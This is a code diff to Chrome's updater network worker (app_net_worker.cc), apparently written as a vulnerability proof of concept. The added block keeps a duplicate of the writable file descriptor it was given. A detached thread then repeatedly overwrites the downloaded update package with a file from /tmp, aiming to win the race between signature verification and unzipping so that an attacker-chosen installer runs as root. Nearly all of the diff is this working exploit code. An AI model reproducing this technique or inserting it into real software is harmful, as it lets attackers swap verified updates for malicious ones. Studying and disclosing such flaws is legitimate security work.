diff --git a/chrome/updater/app/app_net_worker.cc b/chrome/updater/app/app_net_worker.cc index 1786606cf02aa..d26ae8890df49 100644 --- a/chrome/updater/app/app_net_worker.cc +++ b/chrome/updater/app/app_net_worker.cc @@ -4,10 +4,12 @@ #include "chrome/updater/app/app_net_worker.h" +#include #include #include #include +#include #include #include #include @@ -207,6 +209,46 @@ void FetchServiceImpl::DownloadToFile( ::base::File output_file, mojom::FetchService::DownloadToFileCallback callback) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); + + // === POC: simulate a compromised net-worker =========================== + // The root updater opened this file with FLAG_WRITE and handed us the FD + // over Mojo. Retain a duplicate so it outlives the download, the + // base::Move/rename() into the CrxCache, and crx_file::Verify(). + int retained_fd = dup(output_file.GetPlatformFile()); + LOG(ERROR) << "[POC] net-worker retained writable fd=" << retained_fd + << " for " << url.spec(); + // After signalling completion the parent will rename() into the cache and + // run Unpacker::Verify(). Hammer the inode with a malicious payload from a + // detached thread to hit the Verify -> BeginUnzipping window. In a real + // attack the payload would be a ZIP with an attacker-controlled installer. + std::thread([retained_fd]() { + // Put the malicious replacement at /tmp/poc_evil.crx on the test machine. + int evil = open("/tmp/poc_evil.crx", O_RDONLY); + if (evil < 0) { + close(retained_fd); + return; + } + // Crude race: give the parent time to rename + verify the good CRX, then + // repeatedly overwrite. Tighten timing as needed on the target machine. + usleep(200 * 1000); + for (int i = 0; i < 5000; ++i) { + lseek(evil, 0, SEEK_SET); + lseek(retained_fd, 0, SEEK_SET); + char buf[64 * 1024]; + ssize_t n; + off_t total = 0; + while ((n = read(evil, buf, sizeof(buf))) > 0) { + write(retained_fd, buf, n); + total += n; + } + ftruncate(retained_fd, total); + usleep(1000); + } + close(evil); + close(retained_fd); + }).detach(); + // ====================================================================== + auto wrapper = base::MakeRefCounted(std::move(callback)); std::unique_ptr file_fetcher =